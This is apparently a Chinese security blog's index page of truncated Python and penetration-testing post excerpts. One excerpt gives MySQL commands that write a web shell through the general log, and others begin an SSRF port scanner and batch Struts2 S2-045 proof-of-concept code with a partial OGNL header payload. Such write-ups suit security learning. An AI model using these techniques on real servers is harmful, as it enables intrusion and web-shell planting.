蜗蜗侠's Blog-关注网络安全移动版

python脚本下载小密圈中的内容

这个python脚本主要的目的是为了批量下载指定小密圈里的所有文件，我们就以安全文库为例...

SQL语句用日志写shell

outfile被禁止，或者写入文件被拦截； 在数据库中操作如下：（必须是root权限） show variables like %general%; #查看配置 set global general_log = on; #开启general log模式 set global general_log_file = /var/www/html/1.php; #设置日志目录为shell地...

动力ssrf漏洞利用python脚本

扫描本机开放的端口： #!/usr/bin/env python # -*- coding: utf-8 -*- # @Author: Lcy # @Date: 2016-07-05 20:55:30 # @Last Modified by: Lcy # @Last Modified time: 2016-10-10 16:26:14 import requests import threading import Queue import time th...

st2-045多线程批量验证poc附案例

import requestsimport Queueimport threadingimport sysdef poc(): headers={ User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36, Content-Type:%{(#nike=multipart/...

批量反编译PyCodeObject

#!/usr/bin/env python # -*- coding:utf-8 -*- # mail: cn.b4dboy@gmail.com import sys import imp import glob import marshal import uncompyle2 files = glob.glob( r./code/*.txt ) for plug in files: txt = with open(plug, r ) as f: txt = f.read(...

python多线程在渗透测试中的应用

前言 python是门简单易学的语言，强大的第三方库让我们在编程中事半功倍 ，今天，我们来谈谈python多线程在 渗透测试 中的应用，本文，我们将编写一个简易c段存活主机扫描脚本，以及一个python版本的多线程御剑--目录扫描工具 一、python 多线程 python多线...

最新ST2-045 漏洞POC

#coding:utf-8 importurllib2 fromTkinterimport* importsys fromposter.encodeimportmultipart_encode fromposter.streaminghttpimportregister_openers classSTART(): def__init__(self,root): self.root=root self.show_W_Text=Text() self.show_url_ed=L...

Python学习笔记

最近比较忙碌，因为在学习Python所以没有更新笔记。还好我在学习python的时候做了笔记，今天我就分享给大家。笔记写的比较粗糙，大家可能会不太懂，不懂请结合百度。我先更新一部分笔记，以后会有更多学习笔记。 Python笔记内容如下： python学习笔记 重要相...

记录一次简单的python爬虫经历

对网站的爬虫，爬虫其源代码，并且让源代码中格式为.jpg格式全部下载进桌面。 爬虫内容如下： 这是爬虫代码，看不懂学下正则表达式，其实我也不怎么懂，擦擦的，然后查看其效果： 这就是爬虫的效果图，怎么样，还可以吧，谢谢大家的支持哇，我会一直坚持下去...

python中函数参数定义和区分*args和**kw的区别以及合理运用

在python中创建函数是def,创建函数名是def f()，f函数名字,def f(a,b)，这里的a,b是两个参数，函数名是自定义的，参数也是自定义，随意就好。看图如下效果： 我这里就是个效果，f(1,2)是实参，是我调用上面的函数。 基本的了解了什么是参数，下面讲解下*args...